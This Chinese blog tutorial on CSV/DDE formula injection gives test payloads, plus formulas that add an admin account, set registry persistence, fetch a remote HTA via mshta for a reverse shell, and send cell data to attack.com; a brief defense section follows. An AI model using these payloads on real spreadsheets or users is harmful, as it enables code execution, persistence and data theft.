首页 > 其他分享 >CSV注入

CSV注入

时间:2023-06-28 15:45:32浏览次数:34  
标签:CSV cmd Excel A1 A0 calc 注入

漏洞介绍

现在很多应用提供了导出电子表格的功能(不限于 Web 应用),导出表格的功能可能会导致注入命令的风险,因为导出的表格数据有很多是来自于用户控制的,如:投票应用、邮箱导出。攻击方式类似于 XSS :所有的输入都是不可信的。利用CSV注入,可以执行任意系统命令,可导致用户数据泄露等风险。

漏洞原理

动态数据交换(DDE)协议是Windows提供的应用程序间进行数据传输的方法。DDE协议是一套消息和指示的集合,通过发送消息以及共享内存实现应用程序的数据共享和交换。应用程序可以使用DDE协议实现一次性数据传输以及持续的数据交换,利用DDE可以绕过OFFICE的宏限制,无需利用OFFICE文档漏洞,从而达到运行程序的目的,主要涉及文件类型有: xls、xlsx、csv。

CSV注入是一种会造成巨大影响的攻击向量。攻击包含向恶意的Excel中注入可以输出或以CSV文件读取的参数。当在Excel中打开CSV文件时,文件会从CSV描述转变为原始的Excel格式,包括Excel提供的所有动态功能。在这个过程中,CSV中的所有Excel公式都会执行。当该函数有合法意图时,很易被滥用并允许恶意代码执行。

测试&利用

测试:

对导出文件功能,可构造如下用例测试:

=cmd|'/c calc'!A1

+=cmd|'/c calc'!A1

@ABS(cmd|'/c calc'!A1)

-cmd|'/c calc'!A1

\", =cmd|'/c calc'!A1

", =cmd|'/c calc'!A1

xxx,=cmd|'/c calc'!A1

xxx\n =cmd|'/c calc'!A1

xxx;= cmd|'/c calc'!A1

利用:

OS命令执行

OS命令执行是最严重的危害,像上面讲的,既然能谈计算机也能执行绝大部分的命令,如:

开启任意应用程序

反弹shell

添加用户

=cmd|'/C net user test 123456 /add'!A0+<br>=cmd|'/C net user test 123456 /add && net localgroup administrators test /add'!A0

修改注册表

=cmd|'/C reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v calc /t REG_SZ /d c:\windows\system32\calc.exe /f'!A0

反弹shell这里我们需要利用Metasploit生成payload

use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.174.129 
msf exploit(windows/misc/hta_server) > exploit

然后将再EXCEL中插入恶意载荷

+1+cmd|'/c mshta.exe http://192.168.192.135:8080/770MqXy.hta
'!A0

信息泄露

利用HyperLink方法,通过诱骗用户点击,将敏感信息以参数形式发送至目标网站

=HYPERLINK("https://attack.com?data="&A1,"click me")

网络钓鱼

既然能将用户数据提交至网站,同理,也能直接访问攻击者注入的钓鱼网站。

=HYPERLINK("https://attack.com?data="&A1,"click me")

也能通过控制浏览器访问钓鱼网站

=1+cmd|'/C   "C:\Users\ASUS\AppData\Local\Google\Chrome\Application\chrome.exe" https://attack.com '!A0

防御

判断单元格不以特殊字符开头:+,-,@,=

对特殊字符开头单元格添加"号或空格

标签:CSV,cmd,Excel,A1,A0,calc,注入
From: https://www.cnblogs.com/snad/p/17511555.html

相关文章

  • java 解析csv
    opencsvjava读取csv的类库主要有两种,opencsv和javacsv,研究发现,javacsv最后一次更新是2014-12-10,很久不维护了。opencsv是apache的项目,并且至今仍在维护,所以决定使用opencsv。csvcsv文件,全名commaseparatedvalues,默认以逗号分隔,是纯文本文件。虽然用excel打开后格式排版了,但是那......
  • ACCESS注入
    简介ACCESS是微软所推出的数据库,具有强大的数据处理和统计分析能力,常用在各类管理软件上。现如今ACCESS数据库使用占比已经较少,但当我们在测试中遇到这个数据库时,也需要有相关的手法进行测试。当然我们也可以祈祷别遇见他,因为后续的各种猜解会让人难以接受,就像我们暗恋的那个......
  • VS依赖注入(DI)构造函数自动生成局部私有变量
    前言依赖注入(DI)在开发中既是常见的也是必需的技术。它帮助我们优化了代码结构,使得应用更加灵活、易于扩展,同时也降低了各个模块之间的耦合度,更容易进行单元测试,提高了编码效率和质量。我们经常会先定义局部变量,再在构造函数中使用,每次都要这样去编写耗时,下面通过VS自带功能,可以......
  • VS依赖注入(DI)构造函数自动生成局部私有变量
    前言依赖注入(DI)在开发中既是常见的也是必需的技术。它帮助我们优化了代码结构,使得应用更加灵活、易于扩展,同时也降低了各个模块之间的耦合度,更容易进行单元测试,提高了编码效率和质量。我们经常会先定义局部变量,再在构造函数中使用,每次都要这样去编写耗时,下面通过VS自带功能,可以......
  • 发布一个Visual Studio 2022 插件,可以自动完成构造函数依赖注入代码
    赖注入(DI)在开发中既是常见的也是必需的技术。它帮助我们优化了代码结构,使得应用更加灵活、易于扩展,同时也降低了各个模块之间的耦合度,更容易进行单元测试,提高了编码效率和质量。不过,手动注入依赖项也可能会成为我们开发过程中的瓶颈。通常情况下,当我们需要注入大量依赖对象时,我......
  • IOC之依赖注入和控制反转
    依赖注入(DI,DependencyInjection)是IoC的一种实现方式,它指的是将一个对象作为参数传入另外一个对象(或者通过接口的方式注入),以实现这个对象之间的依赖关系。这种方式让被注入对象不需要关心自己依赖的其他对象的实现细节,从而实现松耦合。控制反转(IoC,InversionofControl),是一种设计......
  • 简单实现的一个依赖注入框架 (.Net Core7)
    根据Microsoft.Extensions.DepdencyInjection框架简单仿写的一个DI框架。官方地址:https://github.com/dotnet/runtime/tree/main/src/libraries/Microsoft.Extensions.DependencyInjection测试示例;usingMyDI.Core;ServiceCollectionsc=newServiceCollection();sc......
  • 驱动开发:内核远程线程实现DLL注入
    在笔者上一篇文章《内核RIP劫持实现DLL注入》介绍了通过劫持RIP指针控制程序执行流实现插入DLL的目的,本章将继续探索全新的注入方式,通过NtCreateThreadEx这个内核函数实现注入DLL的目的,需要注意的是该函数在微软系统中未被导出使用时需要首先得到该函数的入口地址,NtCreateThreadEx......
  • DVWA靶场之SQL注入通关详解
    原理SQL注入通过将恶意的SQL代码插入到应用程序后台的SQL语句中,以获取未授权的访问权限或者窃取应用程序中的敏感信息。通常,SQL注入攻击的目标是Web应用程序,因为Web应用程序通常需要与数据库进行交互,并且大多数Web应用程序使用的是SQL语言。存在原因Web应用程序没有对用户输入......
  • 在 ISO 镜像中注入 USB 4 驱动和 NVMe 驱动,您需要执行以下步骤
    在ISO镜像中注入USB4驱动和NVMe驱动,您需要执行以下步骤:准备驱动程序:首先,您需要获得所需的USB4驱动和NVMe驱动的适当版本。这些驱动程序通常由硬件制造商提供,您可以从他们的官方网站或支持页面下载相应的驱动程序。解压ISO镜像:使用适当的工具(如PowerISO、UltraISO......